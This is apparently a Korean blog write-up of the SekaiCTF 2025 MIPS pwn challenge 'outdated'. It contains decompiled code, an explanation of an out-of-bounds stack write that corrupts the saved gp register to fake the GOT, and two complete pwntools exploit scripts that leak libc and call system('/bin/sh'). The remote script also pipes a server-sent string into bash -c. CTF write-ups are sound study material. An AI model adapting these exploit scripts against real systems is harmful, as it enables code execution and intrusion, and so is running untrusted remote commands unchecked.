콘텐츠로 건너뛰기

[SekaiCTF2025] outdated (mips)

checksec

ubuntu@c304d9296d3e:~/study/sekai2025/pwn_outdated$ checksec ./outdated 
[*] '/home/ubuntu/study/sekai2025/pwn_outdated/outdated'
    Arch:       mips-32-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled

Decompiled-src / Analysis

  • IDA pseudo code

코드로 알아보기 힘들기 때문에 ghidra를 활용하거나 어셈블리어 코드로 보는게 낫다.

int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
  _DWORD v3[8]; // [sp+0h] [+0h] BYREF
  unsigned __int16 v4; // [sp+22h] [+22h]
  int v5; // [sp+24h] [+24h]
  int v6; // [sp+28h] [+28h]
  int v7; // [sp+2Ch] [+2Ch]
  int v8; // [sp+30h] [+30h]
  int v9; // [sp+34h] [+34h]
  int v10; // [sp+38h] [+38h]

  v3[7] = argc;
  v3[6] = argv;
  v6 = 6553600;
  v7 = 19661000;
  v8 = 32768400;
  v9 = 45875800;
  v10 = 87622432;
  __asm { sdc2    $25, 0($zero) }
  __asm { sdc2    $25, 0($zero) }
  __asm { sdc2    $25, 0($zero) }
  __asm { sdc2    $25, 0($zero) }
  __asm { sdc2    $25, 0($zero) }
  __asm { sdc2    $25, 0($zero) }
  game_name[(_DWORD)&strcspn] = 0;
  __asm { sdc2    $25, 0($zero) }
  __asm { sdc2    $25, 0($zero) }
  __asm { sdc2    $25, 0($zero) }
  __asm { sdc2    $25, 0($zero) }
  __asm { sdc2    $25, 0($zero) }
  __asm { sdc2    $25, 0($zero) }
  __asm { sdc2    $25, 0($zero) }
  *((_WORD *)&v3[10] + v5) = v4;
  __asm { sdc2    $25, 0($zero) # why exit here??????????? }
  __asm { sdc2    $25, 0($zero) }
  __asm { sdc2    $25, 0($zero) }
  printf(0, v5, v4, game_name);
}
  • Ghidra code

그나마 알아보기 쉽다. 하지만 매개변수는 제대로 출력해주진 않는다.

/* WARNING: Globals starting with '_' overlap smaller symbols at the same address */

void main(void)

{
  size_t sVar1;
  ushort local_26;
  int local_24;
  undefined4 local_20;
  undefined4 local_1c;
  undefined4 local_18;
  undefined4 local_14;
  undefined4 local_10;
  undefined4 local_c;
  
  local_c = ___stack_chk_guard;
  local_20 = uRam000011ac;
  local_1c = uRam000011b0;
  local_18 = uRam000011b4;
  local_14 = uRam000011b8;
  local_10 = uRam000011bc;
  puts_blue(0xcf0);
  puts((char *)0xffc);
  printf((char *)0x101c,main);
  puts((char *)0x104c);
  fgets(game_name,0x60,_stdin);
  sVar1 = strcspn(game_name,(char *)0x1074);
  game_name[sVar1] = 0;
  puts((char *)0x1078);
  puts(game_name);
  puts((char *)0x1094);
  puts((char *)0x10e8);
  scanf((char *)0x110c,&local_24);
  puts((char *)0x1114);
  scanf((char *)0x1144,&local_26);
  *(ushort *)((int)&local_20 + local_24 * 2) = local_26;
  printf((char *)0x114c,local_24,(uint)local_26,game_name);
  puts((char *)0x118c);
                    /* WARNING: Subroutine does not return */
  exit(0);
}

  • Gemini(2.5 Pro) Code (IDA Assembly code → Gemini)
    • 위 어셈블리 명렁어들을 c언어 코드로 변환해줘

분석하기 좋다. 취약점까지 알려주는 상황이다.

보다시피 main 함수 주소를 출력해주고, game_name 전역배열에 95바이트만큼 입력받을 수 있다.

level_rewards 지역배열에서 OOB write 취약점이 발생하며, level_index를 통해 쓰여질 대상 주소, new_reward로 쓸 값 2바이트를 정할 수 있다.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

// 전역 변수 (어셈블리 코드의 dword_11AC 등에서 참조)
// 실제 값은 알 수 없으므로 임의의 값으로 초기화합니다.
int dword_11AC = 100;
int dword_11B0 = 200;
int dword_11B4 = 300;
int dword_11B8 = 400;
int dword_11BC = 500;

// game_name 버퍼 (fgets에서 사용)
char game_name[96];

// 사용자 정의 함수 프로토타입 (어셈블리에서 puts_blue로 호출됨)
void puts_blue(const char *s);

int main(int argc, char *argv[]) {
    // 스택 변수들
    // 어셈블리 코드의 var_18 ~ var_8 (20바이트)에 해당하며
    // short 타입으로 접근되므로 short 배열로 선언합니다.
    short level_rewards[10];
    
    // var_1C, var_1E에 해당
    int level_index;
    unsigned short new_reward;
    
    long stack_canary; // var_4, 스택 버퍼 오버플로우 방어 메커니즘

    // 스택 카나리 설정
    stack_canary = __stack_chk_guard;

    // 전역 변수 값을 스택의 level_rewards 배열로 복사
    // dword_11AC ~ dword_11BC (5개의 int) 값을 복사합니다.
    memcpy(level_rewards, &dword_11AC, 20);

    // 프로그램 시작 메시지 출력
    puts_blue(" _______  __   __  _______  ______   __...");
    puts("Welcome to the Outdated Game!");
    printf("Here's a little bit of helpful information: %p\\n", main);

    // 게임 이름 입력받기
    puts("What would you like to name your game?");
    fgets(game_name, 96, stdin);

    // fgets로 입력받은 문자열의 마지막 개행문자(\\n) 제거
    game_name[strcspn(game_name, "\\n")] = 0;

    // 입력받은 이름 확인 출력
    puts("Great! Your game is named:");
    puts(game_name);

    puts("Now, I am feeling generous today, so I'll let you change a reward.");
    
    // 변경할 레벨 번호 입력받기
    puts("Which level do you want to change?");
    scanf("%d%*c", &level_index);

    // 설정할 보상 값 입력받기
    puts("What reward do you want to set for this level?");
    scanf("%hu%*c", &new_reward);

    // --- !!! 취약점 발생 지점 !!! ---
    // 사용자가 입력한 level_index 값에 대한 검증 없이 배열에 접근하여 값을 씁니다.
    // 만약 사용자가 음수나 매우 큰 값을 입력하면 스택의 다른 중요 데이터
    // (예: 스택 카나리, 반환 주소 등)를 덮어쓸 수 있습니다.
    level_rewards[level_index] = new_reward;

    // 결과 출력
    printf("You have set the reward for level %d to %hu for game %s\\n", level_index, new_reward, game_name);

    // 프로그램 종료
    puts("Thanks for playing! Come again!");
    exit(0);
}

// 어셈블리 코드에서 'puts_blue'라는 함수를 호출하므로,
// 이를 C 함수로 구현해줍니다. 실제 기능은 알 수 없으나 이름으로 보아
// 파란색 글씨로 출력하는 함수로 추정됩니다.
void puts_blue(const char *s) {
    // 예시: ANSI 이스케이프 코드를 사용하여 파란색으로 출력
    printf("\\033[0;34m");
    puts(s);
    printf("\\033[0m");
}

Solution

MIPS 특성상 gp라는 레지스터가 존재하는데, 해당 레지스터값을 스택에서 가져온다.

printf 이후 실행되는 해당 어셈블리어에서 gp값을 다시 스택에서 가져온다.

00010bec 10 00 dc 8f lw gp,local_38(s8)

여기서 oob write 취약점으로 스택에 저장된 gp 하위 2바이트값을 수정해준다. 위조시킬 got 테이블 데이터를 game_name에 쓴 다음 가리키게 하면, GOT 테이블을 위조시킬 수 있다.

흥미로운 점은 GOT 테이블에는 함수 주소 뿐만 아니라 출력시킬 “Thanks for playing! Come again!” 문자열 주소도 저장하고 있다는 점이다.

  • ghidra 어셈블리 코드 + c언어 코드 부연설명
        00010bc0 e8 ff 43 a4     sh         v1,-0x18(v0)
        00010bc4 24 00 c2 8f     lw         v0,local_24(s8)
        00010bc8 22 00 c3 97     lhu        v1,local_26(s8)
        00010bcc 38 80 87 8f     lw         a3=>game_name,-0x7fc8(gp)=>->game_name           = ??
                                                                                             = 000300c0
        00010bd0 25 30 60 00     or         a2,v1,zero
        00010bd4 25 28 40 00     or         a1,v0,zero
*** printf("You have set the reward for level %d to %hu for game %s\\n", level_index, new_reward, game_name); ***
        00010bd8 30 80 82 8f     lw         v0,-0x7fd0(gp)=>PTR_00030030                     = 00000000
        00010bdc 4c 11 44 24     addiu      a0,v0,0x114c
        00010be0 8c 80 82 8f     lw         v0,-0x7f74(gp)=>-><EXTERNAL>::printf             = 00010c20
        00010be4 25 c8 40 00     or         t9,v0,zero
        00010be8 00 00 19 f8     jialc      t9=><EXTERNAL>::printf,0x0                       int printf(char * __format, ...)
*** puts("Thanks for playing! Come again!"); ***
        **00010bec 10 00 dc 8f     lw         gp,local_38(s8)**
        00010bf0 30 80 82 8f     lw         v0,-0x7fd0(gp)=>PTR_00030030                     = 00000000
        00010bf4 8c 11 44 24     addiu      a0,v0,0x118c
        **00010bf8 7c 80 82 8f     lw         v0,-0x7f84(gp)=>-><EXTERNAL>::puts               = 00010c40**
        00010bfc 25 c8 40 00     or         t9,v0,zero
        00010c00 00 00 19 f8     jialc      t9=><EXTERNAL>::puts,0x0                         int puts(char * __s)
*** C CODE: exit(0); ***
        00010c04 10 00 dc 8f     lw         gp,local_38(s8)
        00010c08 25 20 00 00     or         a0,zero,zero
        **00010c0c 54 80 82 8f     lw         v0,-0x7fac(gp)=>-><EXTERNAL>::exit               = 00010c80**
        00010c10 25 c8 40 00     or         t9,v0,zero
        **00010c14 00 00 19 f8     jialc      t9=><EXTERNAL>::exit,0x0**                         void exit(int __status)
                             -- Flow Override: CALL_RETURN (COMPUTED_CALL_TERMINATOR)

필자는 puts 대신에 puts_blue로, “Thanks for playing!… “ 주소 대신에 puts@got 주소를 넣어서 libc 주소를 구할 수 있었고 exit 대신에 main 함수를 넣어서 한번더 main 함수를 호출시킨다.

한번더 got 테이블을 변조시시킨다.

이번에는 puts 대신에 system, “Thanks for playing!… “ 주소 대신에 /bin/sh를 가리키게 하면 된다.

solve.py

#!/usr/bin/env python3

from pwn import *
context.log_level = 'debug'
context(arch='mips', os='linux', bits=32, endian='little')
warnings.filterwarnings('ignore')
import sys

p = remote("127.0.0.1", 1337)
# p = process("./run2_dbg.sh")
# p = process("./run2.sh")

# p = remote("host3.dreamhack.games", 10296)
e = ELF('./outdated',checksec=False)
# l = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
l = ELF('./target/lib/libc.so', checksec=False)

s = lambda str: p.send(str)
sl = lambda str: p.sendline(str)
sa = lambda delims, str: p.sendafter(delims, str)
sla = lambda delims, str: p.sendlineafter(delims, str)
r = lambda numb=4096: p.recv(numb)
rl = lambda: p.recvline()
ru = lambda delims: p.recvuntil(delims)
uu32 = lambda data: u32(data.ljust(4, b"\\x00"))
uu64 = lambda data: u64(data.ljust(8, b"\\x00"))
li = lambda str, data: log.success(str + "========>" + hex(data))
ip = lambda: input()
pi = lambda: p.interactive()

ru(b"Here's a little bit of helpful information:")
leak = rl().strip()
leak = int(leak, 16)
info(f"leak: {hex(leak)}")

e.address = leak - e.sym.main
pie_base = e.address
info(f"pie_base: {hex(e.address)}")

# pay = p32(e.sym.main + 0x1f0)
# pay += b"ABCDEFGHIJKL"
# pay += p32(e.sym.exit) + b"QRSTUVWXYZabcdefghijk;lmnopqrstuvwxyz0123456789"
# pay = pay + b"\\x41"*(0x5f-len(pay))

# guessed_libc_base = pie_base - 0x8f4000 # = 0x3f70c000
# info(f"guessed_libc_base: {hex(guessed_libc_base)}")
# l.address = guessed_libc_base

# pay = b"A"*0x5f
#fake gp!!!! fake got!!!!
pay = p32(e.got.puts - 0x118c) #.got:40020030                 .word _stdout            # string by puts
pay += p32(e.sym.puts_blue)     #puts_blue
pay += p32(0)    #game_name
pay += p32(0)    #_stdout... dummy?
pay += p32(0)    #_stdout... dummy?
pay += p32(0)    #_stdout... dummy?
pay += p32(0)    #__register_frame_info_ptr... dummy?
pay += p32(0)    #__libc_start_main_ptr
pay += p32(0)   #setbuf
pay += p32(e.sym.main)   #exit_ptr
pay += p32(0)   #stderr_ptr
pay += p32(0)   #scanf_ptr
pay += p32(0)   #strcspn_ptr
pay += p32(0)   #_ITM_deregisterTMCloneTable_ptr
pay += p32(0)   #stdin_ptr
pay += p32(0)   #_ITM_registerTMCloneTable_ptr
pay += p32(0)   #__deregister_frame_info_ptr
pay += p32(0)   #__stack_chk_fail_ptr
pay += p32(0)   #__cxa_finalize_ptr
pay += p32(e.sym.puts_blue)   #puts_ptr x: 0xab4~0xab0-4*5
pay += p32(0)   #fgets_ptr
pay += p32(0)   #__stack_chk_guard_ptr
pay += p32(0)   #stdout_ptr
# pay += p32(l.sym.system)   #printf_ptr

sla(b"What would you like to name your game?\\n", pay)

pay = str(-12) #스택 프레임에 있는 gp 하위4바이트 수정
# pay = str(int((e.got.puts/2)-0x40))
# pay = str(0x41414141) #32비트 정수
sla("Which level do you want to change?\\n", pay)

pay = str(0x8000+0x4*(17+19)) #16비트 정수
sla("What reward do you want to set for this level?\\n", pay)

'''
.got:00020010  # ===========================================================================
.got:00020010
.got:00020010  # Segment type: Pure data
.got:00020010                 .data # .got
.got:00020010 off_20010:      .word _stdout            # DATA XREF: sub_6F0↑o
.got:00020010                                          # sub_740↑o ...
.got:00020014                 .word 0x80000000
.got:00020018 _term_proc_ptr: .word _term_proc
.got:0002001C _init_proc_ptr: .word _init_proc
.got:00020020 main_ptr:       .word main
.got:00020024                 .word unk_20004
.got:00020028 __RLD_MAP_ptr:  .word __RLD_MAP
.got:0002002C                 .word off_20090
.got:00020030                 .word _stdout   <- string by puts
.got:00020034 puts_blue_ptr:  .word puts_blue <- fake gp start !!!!!!!!!!!!!! fake_gp = 0x200c0 
.got:00020038 game_name_ptr:  .word game_name
.got:0002003C                 .word _stdout
.got:00020040                 .word _stdout
.got:00020044                 .word _stdout
.got:00020048 __register_frame_info_ptr:.word __register_frame_info
.got:0002004C __libc_start_main_ptr:.word __libc_start_main
.got:00020050 setbuf_ptr:     .word setbuf
.got:00020054 exit_ptr:       .word exit !!!!!!!!!!!!!
                                        exit 대신에 main 들어가게 만드는건 쉬움, 자체적으로 write하면 되니까 ... +0x10하면 _ITM_deregisterTMCloneTable?
                                        실제로 쉽지 않음;; -0x34 또는 game_name까지 다다르기 위해 최소 +0x6c 이상
.got:00020058 stderr_ptr:     .word stderr
.got:0002005C scanf_ptr:      .word scanf
.got:00020060 strcspn_ptr:    .word strcspn
.got:00020064 _ITM_deregisterTMCloneTable_ptr:.word _ITM_deregisterTMCloneTable 
.got:00020068 stdin_ptr:      .word stdin
.got:0002006C _ITM_registerTMCloneTable_ptr:.word _ITM_registerTMCloneTable
.got:00020070 __deregister_frame_info_ptr:.word __deregister_frame_info
.got:00020074 __stack_chk_fail_ptr:.word __stack_chk_fail
.got:00020078 __cxa_finalize_ptr:.word __cxa_finalize
.got:0002007C puts_ptr:       .word puts  !!!!!!!! puts 대신에 main에 들어가려면... -0x5c해서 got의 main 가리키거나, 또는 +0x44해서 game_name까지 다다르기
                                            puts 대신에 printf 들어가려면,,,+0x10 더해야함;; 2007c-0x34 = 20048; __register_frame_info
                                            puts 대신에 puts_blue 들어가려면, 
.got:00020080 fgets_ptr:      .word fgets   
.got:00020084 __stack_chk_guard_ptr:.word __stack_chk_guard
.got:00020088 stdout_ptr:     .word stdout
.got:0002008C printf_ptr:     .word printf
.got:0002008C
.sdata:00020090  # ===========================================================================
.sdata:00020090
.sdata:00020090  # Segment type: Pure data
.sdata:00020090                 .sdata
.sdata:00020090 off_20090:      .word off_20090          # DATA XREF: sub_7B4+30↑o
.sdata:00020090                                          # sub_7B4+3C↑r ...
.sdata:00020090
LOAD:00020094  # ===========================================================================
LOAD:00020094
LOAD:00020094  # Segment type: Pure data
LOAD:00020094                 .data # LOAD
LOAD:00020094                 .align 4
LOAD:00020094
.bss:000200A0  # ===========================================================================
.bss:000200A0
.bss:000200A0  # Segment type: Uninitialized
.bss:000200A0                 .bss
.bss:000200A0 dword_200A0:    .space 4                 # DATA XREF: sub_7B4+20↑r
.bss:000200A0                                          # sub_7B4+70↑w
.bss:000200A4 dword_200A4:    .space 4                 # DATA XREF: sub_838+2C↑o
.bss:000200A8                 .space 4
.bss:000200AC                 .space 4
.bss:000200B0                 .space 4
.bss:000200B4                 .space 4
.bss:000200B8                 .space 4
.bss:000200BC                 .space 4
.bss:000200C0                 .globl game_name
.bss:000200C0  # _BYTE game_name[96]
.bss:000200C0 game_name:      .space 0x60              # DATA XREF: LOAD:000003D8↑o
'''
# ru("your game")
# rl()
leak = ru(".\\n")
leak = rl()
# leak = r(4)
leak = leak[5:5+4]
leak = uu32(leak)
# info(f"leak: {(leak.hex())}")
info(f"leak: {(hex(leak))}")
l.address = leak - l.sym.puts

#main again
#fake gp!!!! fake got!!!!
pay = p32(l.address + 0xAAF20 - 0x118c) #.got:40020030                 .word _stdout            # string by puts
pay += p32(l.sym.system)     #puts_blue
pay += p32(0)    #game_name
pay += p32(0)    #_stdout... dummy?
pay += p32(0)    #_stdout... dummy?
pay += p32(0)    #_stdout... dummy?
pay += p32(0)    #__register_frame_info_ptr... dummy?
pay += p32(0)    #__libc_start_main_ptr
pay += p32(0)   #setbuf
pay += p32(e.sym.main)   #exit_ptr
pay += p32(0)   #stderr_ptr
pay += p32(0)   #scanf_ptr
pay += p32(0)   #strcspn_ptr
pay += p32(0)   #_ITM_deregisterTMCloneTable_ptr
pay += p32(0)   #stdin_ptr
pay += p32(0)   #_ITM_registerTMCloneTable_ptr
pay += p32(0)   #__deregister_frame_info_ptr
pay += p32(0)   #__stack_chk_fail_ptr
pay += p32(0)   #__cxa_finalize_ptr
pay += p32(l.sym.system)   #puts_ptr x: 0xab4~0xab0-4*5
pay += p32(0)   #fgets_ptr
pay += p32(0)   #__stack_chk_guard_ptr
pay += p32(0)   #stdout_ptr
# pay += p32(l.sym.system)   #printf_ptr

sla(b"What would you like to name your game?\\n", pay)

pay = str(-12) #스택 프레임에 있는 gp 하위4바이트 수정
# pay = str(int((e.got.puts/2)-0x40))
# pay = str(0x41414141) #32비트 정수
sla("Which level do you want to change?\\n", pay)

pay = str(0x8000+0x4*(17+19)) #16비트 정수
sla("What reward do you want to set for this level?\\n", pay)

pi()

solve.py (server)

#!/usr/bin/env python3

from pwn import *
context.log_level = 'debug'
context(arch='mips', os='linux', bits=32, endian='little')
warnings.filterwarnings('ignore')
import sys

# p = remote("127.0.0.1", 1337)
# p = process("./run2_dbg.sh")
# p = process("./run2.sh")
p = remote("outdated-boecxic4xpz8.chals.sekai.team", 1337, ssl=True)

e = ELF('./outdated',checksec=False)
# l = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
l = ELF('./target/lib/libc.so', checksec=False)

s = lambda str: p.send(str)
sl = lambda str: p.sendline(str)
sa = lambda delims, str: p.sendafter(delims, str)
sla = lambda delims, str: p.sendlineafter(delims, str)
r = lambda numb=4096: p.recv(numb)
rl = lambda: p.recvline()
ru = lambda delims: p.recvuntil(delims)
uu32 = lambda data: u32(data.ljust(4, b"\\x00"))
uu64 = lambda data: u64(data.ljust(8, b"\\x00"))
li = lambda str, data: log.success(str + "========>" + hex(data))
ip = lambda: input()
pi = lambda: p.interactive()

ru("proof of work: ")
cmd = rl()
info(f"cmd: {cmd}")

proc = subprocess.run(
    ["bash", "-c", cmd],
    stdout=subprocess.PIPE,
    stderr=subprocess.PIPE,
    text=True,        # 결과를 str 로 받기 위함
    check=True        # 에러 시 예외 발생
)

answer = proc.stdout.strip()

info(f"answer: {answer}")

sl(answer)

ru(b"Here's a little bit of helpful information:")
leak = rl().strip()
leak = int(leak, 16)
info(f"leak: {hex(leak)}")

e.address = leak - e.sym.main
pie_base = e.address
info(f"pie_base: {hex(e.address)}")

# pay = p32(e.sym.main + 0x1f0)
# pay += b"ABCDEFGHIJKL"
# pay += p32(e.sym.exit) + b"QRSTUVWXYZabcdefghijk;lmnopqrstuvwxyz0123456789"
# pay = pay + b"\\x41"*(0x5f-len(pay))

# guessed_libc_base = pie_base - 0x8f4000 # = 0x3f70c000
# info(f"guessed_libc_base: {hex(guessed_libc_base)}")
# l.address = guessed_libc_base

# pay = b"A"*0x5f
#fake gp!!!! fake got!!!!
pay = p32(e.got.puts - 0x118c) #.got:40020030                 .word _stdout            # string by puts
pay += p32(e.sym.puts_blue)     #puts_blue
pay += p32(0)    #game_name
pay += p32(0)    #_stdout... dummy?
pay += p32(0)    #_stdout... dummy?
pay += p32(0)    #_stdout... dummy?
pay += p32(0)    #__register_frame_info_ptr... dummy?
pay += p32(0)    #__libc_start_main_ptr
pay += p32(0)   #setbuf
pay += p32(e.sym.main)   #exit_ptr
pay += p32(0)   #stderr_ptr
pay += p32(0)   #scanf_ptr
pay += p32(0)   #strcspn_ptr
pay += p32(0)   #_ITM_deregisterTMCloneTable_ptr
pay += p32(0)   #stdin_ptr
pay += p32(0)   #_ITM_registerTMCloneTable_ptr
pay += p32(0)   #__deregister_frame_info_ptr
pay += p32(0)   #__stack_chk_fail_ptr
pay += p32(0)   #__cxa_finalize_ptr
pay += p32(e.sym.puts_blue)   #puts_ptr x: 0xab4~0xab0-4*5
pay += p32(0)   #fgets_ptr
pay += p32(0)   #__stack_chk_guard_ptr
pay += p32(0)   #stdout_ptr
# pay += p32(l.sym.system)   #printf_ptr

sla(b"What would you like to name your game?\\n", pay)

pay = str(-12) #스택 프레임에 있는 gp 하위4바이트 수정
# pay = str(int((e.got.puts/2)-0x40))
# pay = str(0x41414141) #32비트 정수
sla("Which level do you want to change?\\n", pay)

pay = str(0x8000+0x4*(17+19)) #16비트 정수
sla("What reward do you want to set for this level?\\n", pay)

'''
.got:00020010  # ===========================================================================
.got:00020010
.got:00020010  # Segment type: Pure data
.got:00020010                 .data # .got
.got:00020010 off_20010:      .word _stdout            # DATA XREF: sub_6F0↑o
.got:00020010                                          # sub_740↑o ...
.got:00020014                 .word 0x80000000
.got:00020018 _term_proc_ptr: .word _term_proc
.got:0002001C _init_proc_ptr: .word _init_proc
.got:00020020 main_ptr:       .word main
.got:00020024                 .word unk_20004
.got:00020028 __RLD_MAP_ptr:  .word __RLD_MAP
.got:0002002C                 .word off_20090
.got:00020030                 .word _stdout   <- string by puts
.got:00020034 puts_blue_ptr:  .word puts_blue <- fake gp start !!!!!!!!!!!!!! fake_gp = 0x200c0 
.got:00020038 game_name_ptr:  .word game_name
.got:0002003C                 .word _stdout
.got:00020040                 .word _stdout
.got:00020044                 .word _stdout
.got:00020048 __register_frame_info_ptr:.word __register_frame_info
.got:0002004C __libc_start_main_ptr:.word __libc_start_main
.got:00020050 setbuf_ptr:     .word setbuf
.got:00020054 exit_ptr:       .word exit !!!!!!!!!!!!!
                                        exit 대신에 main 들어가게 만드는건 쉬움, 자체적으로 write하면 되니까 ... +0x10하면 _ITM_deregisterTMCloneTable?
                                        실제로 쉽지 않음;; -0x34 또는 game_name까지 다다르기 위해 최소 +0x6c 이상
.got:00020058 stderr_ptr:     .word stderr
.got:0002005C scanf_ptr:      .word scanf
.got:00020060 strcspn_ptr:    .word strcspn
.got:00020064 _ITM_deregisterTMCloneTable_ptr:.word _ITM_deregisterTMCloneTable 
.got:00020068 stdin_ptr:      .word stdin
.got:0002006C _ITM_registerTMCloneTable_ptr:.word _ITM_registerTMCloneTable
.got:00020070 __deregister_frame_info_ptr:.word __deregister_frame_info
.got:00020074 __stack_chk_fail_ptr:.word __stack_chk_fail
.got:00020078 __cxa_finalize_ptr:.word __cxa_finalize
.got:0002007C puts_ptr:       .word puts  !!!!!!!! puts 대신에 main에 들어가려면... -0x5c해서 got의 main 가리키거나, 또는 +0x44해서 game_name까지 다다르기
                                            puts 대신에 printf 들어가려면,,,+0x10 더해야함;; 2007c-0x34 = 20048; __register_frame_info
                                            puts 대신에 puts_blue 들어가려면, 
.got:00020080 fgets_ptr:      .word fgets   
.got:00020084 __stack_chk_guard_ptr:.word __stack_chk_guard
.got:00020088 stdout_ptr:     .word stdout
.got:0002008C printf_ptr:     .word printf
.got:0002008C
.sdata:00020090  # ===========================================================================
.sdata:00020090
.sdata:00020090  # Segment type: Pure data
.sdata:00020090                 .sdata
.sdata:00020090 off_20090:      .word off_20090          # DATA XREF: sub_7B4+30↑o
.sdata:00020090                                          # sub_7B4+3C↑r ...
.sdata:00020090
LOAD:00020094  # ===========================================================================
LOAD:00020094
LOAD:00020094  # Segment type: Pure data
LOAD:00020094                 .data # LOAD
LOAD:00020094                 .align 4
LOAD:00020094
.bss:000200A0  # ===========================================================================
.bss:000200A0
.bss:000200A0  # Segment type: Uninitialized
.bss:000200A0                 .bss
.bss:000200A0 dword_200A0:    .space 4                 # DATA XREF: sub_7B4+20↑r
.bss:000200A0                                          # sub_7B4+70↑w
.bss:000200A4 dword_200A4:    .space 4                 # DATA XREF: sub_838+2C↑o
.bss:000200A8                 .space 4
.bss:000200AC                 .space 4
.bss:000200B0                 .space 4
.bss:000200B4                 .space 4
.bss:000200B8                 .space 4
.bss:000200BC                 .space 4
.bss:000200C0                 .globl game_name
.bss:000200C0  # _BYTE game_name[96]
.bss:000200C0 game_name:      .space 0x60              # DATA XREF: LOAD:000003D8↑o
'''

# LEAK TEST!!!!!!!
# # ru("your game")
# # rl()
# leak = ru(".\\n")
# leak = rl()
# # leak = r(4)
# # leak = leak[3:3+4]
# # leak = uu32(leak)
# info(f"leak: {(leak.hex())}")
# info(f"leak: {(hex(leak))}")
# # l.address = leak - l.sym.stderr
# # success(f"libc_base: {(hex(l.address))}")
# p.close()

# ru("your game")
# rl()
leak = ru(".\\n")
leak = rl()
# leak = r(4)
leak = leak[5:5+4]
leak = uu32(leak)
# info(f"leak: {(leak.hex())}")
info(f"leak: {(hex(leak))}")
l.address = leak - l.sym.puts
success(f"libc_base: {(hex(l.address))}")

#main again
#fake gp!!!! fake got!!!!
pay = p32(l.address + 0xAAF20 - 0x118c) #.got:40020030                 .word _stdout            # string by puts
pay += p32(l.sym.system)     #puts_blue
pay += p32(0)    #game_name
pay += p32(0)    #_stdout... dummy?
pay += p32(0)    #_stdout... dummy?
pay += p32(0)    #_stdout... dummy?
pay += p32(0)    #__register_frame_info_ptr... dummy?
pay += p32(0)    #__libc_start_main_ptr
pay += p32(0)   #setbuf
pay += p32(e.sym.main)   #exit_ptr
pay += p32(0)   #stderr_ptr
pay += p32(0)   #scanf_ptr
pay += p32(0)   #strcspn_ptr
pay += p32(0)   #_ITM_deregisterTMCloneTable_ptr
pay += p32(0)   #stdin_ptr
pay += p32(0)   #_ITM_registerTMCloneTable_ptr
pay += p32(0)   #__deregister_frame_info_ptr
pay += p32(0)   #__stack_chk_fail_ptr
pay += p32(0)   #__cxa_finalize_ptr
pay += p32(l.sym.system)   #puts_ptr x: 0xab4~0xab0-4*5
pay += p32(0)   #fgets_ptr
pay += p32(0)   #__stack_chk_guard_ptr
pay += p32(0)   #stdout_ptr
# pay += p32(l.sym.system)   #printf_ptr

sla(b"What would you like to name your game?\\n", pay)

pay = str(-12) #스택 프레임에 있는 gp 하위4바이트 수정
# pay = str(int((e.got.puts/2)-0x40))
# pay = str(0x41414141) #32비트 정수
sla("Which level do you want to change?\\n", pay)

pay = str(0x8000+0x4*(17+19)) #16비트 정수
sla("What reward do you want to set for this level?\\n", pay)

pi()

Result

SEKAI{!'VE-dUBB3D_+hI$-73(HN1QUE-"9P-*VERWR17E"}

태그: